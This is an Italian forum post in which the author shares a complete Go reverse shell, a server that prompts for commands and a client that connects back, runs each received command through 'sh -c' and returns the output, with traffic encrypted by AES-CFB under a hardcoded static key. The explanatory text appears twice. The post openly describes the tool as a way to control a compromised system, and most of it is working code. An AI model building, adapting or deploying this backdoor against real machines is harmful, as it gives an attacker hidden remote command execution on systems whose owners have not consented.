Ultima modifica:
Ciao a tutti amici di inforge,
Oggi voglio condividere con voi un progetto che ho recentemente sviluppato: una reverse Shell crittografata con AES in Go.
Le reverse Shell vengono spesso usate per creare una connessione remota da un sistema compromesso ad un attaccante.
Per iniziare, è importante notare che questo progetto è solo un esempio di base e non dovrebbe essere utilizzato in un ambiente di produzione senza le dovute misure di sicurezza.
Il progetto consiste in due parti principali: il client e il server.
Il client è responsabile della decrittografia dei comandi ricevuti dal server e dell'esecuzione di questi comandi sul sistema compromesso. Il server, d'altra parte, è responsabile dell'invio dei comandi al client e della ricezione delle risposte criptate.
Per quanto riguarda la crittografia, utilizziamo la libreria crypto/aes in Go. Generiamo una chiave statica sia sul lato del client che sul lato del server per utilizzarla per la crittografia e la decrittografia dei dati scambiati tra di loro.
Il codice del client inizia con la connessione al server su una determinata porta, in questo caso TCP sulla porta 8080. Quindi, in un ciclo continuo, il client riceve i comandi criptati dal server, li decripta utilizzando la chiave statica, li esegue utilizzando la funzione exec.Command e raccoglie la risposta.
La risposta viene quindi crittografata nuovamente con la chiave statica e inviata al server.
Il codice del server è simile, inizia col mettere in ascolto su una porta, aspettando che il client si connettà, quando il client si é connesso il server apre un prompt per inserire i comandi che poi cripta e invia al client.
Il server quindi riceve la risposta criptata dal client, la decripta con la chiave statica e la visualizza per l'user.
In sintesi, abbiamo creato una reverse Shell crittografata con AES in Go utilizzando una chiave statica generata dal programma sia sul lato del client che sul lato del server. Utilizzando questa tecnica, possiamo garantire che i dati scambiati tra il client e il server siano sicuri e protetti dalle intercettazioni.
Server:
Client:
Faq:
Buona programmazione
Oggi voglio condividere con voi un progetto che ho recentemente sviluppato: una reverse Shell crittografata con AES in Go.
Le reverse Shell vengono spesso usate per creare una connessione remota da un sistema compromesso ad un attaccante.
Per iniziare, è importante notare che questo progetto è solo un esempio di base e non dovrebbe essere utilizzato in un ambiente di produzione senza le dovute misure di sicurezza.
Il progetto consiste in due parti principali: il client e il server.
Il client è responsabile della decrittografia dei comandi ricevuti dal server e dell'esecuzione di questi comandi sul sistema compromesso. Il server, d'altra parte, è responsabile dell'invio dei comandi al client e della ricezione delle risposte criptate.
Per quanto riguarda la crittografia, utilizziamo la libreria crypto/aes in Go. Generiamo una chiave statica sia sul lato del client che sul lato del server per utilizzarla per la crittografia e la decrittografia dei dati scambiati tra di loro.
Il codice del client inizia con la connessione al server su una determinata porta, in questo caso TCP sulla porta 8080. Quindi, in un ciclo continuo, il client riceve i comandi criptati dal server, li decripta utilizzando la chiave statica, li esegue utilizzando la funzione exec.Command e raccoglie la risposta.
La risposta viene quindi crittografata nuovamente con la chiave statica e inviata al server.
Il codice del server è simile, inizia col mettere in ascolto su una porta, aspettando che il client si connettà, quando il client si é connesso il server apre un prompt per inserire i comandi che poi cripta e invia al client.
Il server quindi riceve la risposta criptata dal client, la decripta con la chiave statica e la visualizza per l'user.
In sintesi, abbiamo creato una reverse Shell crittografata con AES in Go utilizzando una chiave statica generata dal programma sia sul lato del client che sul lato del server. Utilizzando questa tecnica, possiamo garantire che i dati scambiati tra il client e il server siano sicuri e protetti dalle intercettazioni.
Server:
Codice:
package main
import (
"bufio"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"fmt"
"io"
"net"
"os"
)
var key = []byte("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
func encrypt(plaintext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
ciphertext := make([]byte, aes.BlockSize+len(plaintext))
iv := ciphertext[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return nil, err
}
stream := cipher.NewCFBEncrypter(block, iv)
stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)
return ciphertext, nil
}
func decrypt(ciphertext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
if len(ciphertext) < aes.BlockSize {
return nil, fmt.Errorf("ciphertext too short")
}
iv := ciphertext[:aes.BlockSize]
ciphertext = ciphertext[aes.BlockSize:]
stream := cipher.NewCFBDecrypter(block, iv)
stream.XORKeyStream(ciphertext, ciphertext)
return ciphertext, nil
}
func handleConnection(conn net.Conn) {
defer conn.Close()
for {
// ask for input from the user
reader := bufio.NewReader(os.Stdin)
fmt.Print("Enter command: ")
command, _ := reader.ReadString('\n')
// encrypt the payload
payload, err := encrypt([]byte(command))
if err != nil {
fmt.Println("Error encrypting payload:", err)
return
}
// send the encrypted payload to the client
_, err = conn.Write(payload)
if err != nil {
fmt.Println("Error sending payload:", err)
return
}
// receive the encrypted response from the client
response := make([]byte, 1024)
n, err := conn.Read(response)
if err != nil {
fmt.Println("Error receiving response:", err)
continue
}
// decrypt the response
decrypted, err := decrypt(response[:n])
if err != nil {
fmt.Println("Error decrypting response:", err)
continue
}
fmt.Println("Received response:", string(decrypted))
}
}
func main() {
listener, err := net.Listen("tcp", ":8080")
if err != nil {
fmt.Println("Error listening:", err.Error())
os.Exit(1)
}
fmt.Println("Listening on :8080...")
for {
conn, err := listener.Accept()
if err != nil {
fmt.Println("Error accepting: ", err.Error())
os.Exit(1)
}
go handleConnection(conn)
}
}Client:
Codice:
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"fmt"
"net"
"os/exec"
"strings"
)
var key = []byte("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
func encrypt(plaintext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
ciphertext := make([]byte, aes.BlockSize+len(plaintext))
iv := ciphertext[:aes.BlockSize]
if _, err := rand.Read(iv); err != nil {
return nil, err
}
stream := cipher.NewCFBEncrypter(block, iv)
stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)
return ciphertext, nil
}
func decrypt(ciphertext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
if len(ciphertext) < aes.BlockSize {
return nil, fmt.Errorf("ciphertext too short")
}
iv := ciphertext[:aes.BlockSize]
ciphertext = ciphertext[aes.BlockSize:]
stream := cipher.NewCFBDecrypter(block, iv)
stream.XORKeyStream(ciphertext, ciphertext)
return ciphertext, nil
}
func main() {
conn, err := net.Dial("tcp", "127.0.0.1:8080")
if err != nil {
fmt.Println("Error connecting:", err)
return
}
defer conn.Close()
for {
// receive the encrypted command from the server
command := make([]byte, 1024)
n, err := conn.Read(command)
if err != nil {
fmt.Println("Error receiving command:", err)
return
}
// decrypt the command
decrypted, err := decrypt(command[:n])
if err != nil {
fmt.Println("Error decrypting command:", err)
return
}
// execute the command
command = []byte(strings.TrimRight(string(decrypted), "\n"))
cmd := exec.Command("sh", "-c", string(command))
var out bytes.Buffer
cmd.Stdout = &out
err = cmd.Run()
if err != nil {
fmt.Println("Error executing command:", err)
}
// encrypt the response
response, err := encrypt(out.Bytes())
if err != nil {
fmt.Println("Error encrypting response:", err)
continue
}
// send the encrypted response to the server
_, err = conn.Write(response)
if err != nil {
fmt.Println("Error sending response:", err)
continue
}
}
}Faq:
- Ho riscritto la reverse Shell con are perché usando tls non riuscivo a trovare la soluzione all'errore.
- I file sono stati caricati su virus total, quindi skiddie a questo giro non siete stati fortunati.
Buona programmazione
